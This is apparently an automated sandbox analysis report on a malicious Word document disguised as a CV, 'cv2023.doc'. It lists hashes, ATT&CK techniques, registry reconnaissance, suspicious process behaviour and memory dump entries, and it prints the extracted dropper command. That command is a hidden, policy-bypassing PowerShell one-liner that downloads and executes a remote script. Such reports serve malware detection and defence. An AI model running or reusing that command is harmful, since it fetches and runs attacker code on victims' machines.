dbad5f1e3f4524ab951f56aff1086b7283c4f78ac685d72765ae644f1f22d9b4

Analysis

max time kernel
153s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10/10/2023, 18:29

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General

Target

cv2023.doc
Size

45KB
MD5

03199d2ac72ca39a21917fe349a67e88
SHA1

63a145b0e3e5e5cd3fdebc1e615ff10ca46c149d
SHA256

dbad5f1e3f4524ab951f56aff1086b7283c4f78ac685d72765ae644f1f22d9b4
SHA512

4016a834f33fe844d4fd2e844073773781d7499752f33f6fa1adee5771cf39f5404fd5bc03ae0ab82c7024239823caa80f362ee3a1f8e5ce3790ad3ac6daf1bd
SSDEEP

768:NqUYFVxw+t01zp6+rGFeFajenZyJ4LkS:ixrt0lrGFeFajEZg4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.120.196/runme.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4884	2832	powershell.exe	86

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3632	WINWORD.EXE
3632	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4884	powershell.exe
4884	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE
3632	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cv2023.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.120.196/runme.txt'))
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2kalo3f.fji.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3632-33-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-26-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-5-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-4-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-3-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-6-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-7-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-8-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-9-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-10-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-11-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-12-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-13-0x00007FFAB1900000-0x00007FFAB1910000-memory.dmp

Filesize
64KB

Download
memory/3632-14-0x00007FFAB1900000-0x00007FFAB1910000-memory.dmp

Filesize
64KB

Download
memory/3632-20-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-87-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-27-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-28-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-29-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-85-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-86-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-0-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-2-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-1-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-83-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-44-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-84-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-46-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-82-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-54-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-55-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-56-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-57-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/3632-81-0x00007FFAB3F90000-0x00007FFAB3FA0000-memory.dmp

Filesize
64KB

Download
memory/3632-39-0x00007FFAF3F10000-0x00007FFAF4105000-memory.dmp

Filesize
2.0MB

Download
memory/3632-60-0x0000027A1A2F0000-0x0000027A1B2C0000-memory.dmp

Filesize
15.8MB

Download
memory/4884-61-0x00007FFAC6AD0000-0x00007FFAC7591000-memory.dmp

Filesize
10.8MB

Download
memory/4884-62-0x0000022176D60000-0x0000022176D70000-memory.dmp

Filesize
64KB

Download
memory/4884-59-0x0000022176D60000-0x0000022176D70000-memory.dmp

Filesize
64KB

Download
memory/4884-58-0x0000022176D60000-0x0000022176D70000-memory.dmp

Filesize
64KB

Download
memory/4884-47-0x0000022176D60000-0x0000022176D70000-memory.dmp

Filesize
64KB

Download
memory/4884-45-0x00007FFAC6AD0000-0x00007FFAC7591000-memory.dmp

Filesize
10.8MB

Download
memory/4884-64-0x00007FFAC6AD0000-0x00007FFAC7591000-memory.dmp

Filesize
10.8MB

Download
memory/4884-32-0x0000022176D60000-0x0000022176D70000-memory.dmp

Filesize
64KB

Download
memory/4884-31-0x0000022176D60000-0x0000022176D70000-memory.dmp

Filesize
64KB

Download
memory/4884-38-0x0000022176D00000-0x0000022176D22000-memory.dmp

Filesize
136KB

Download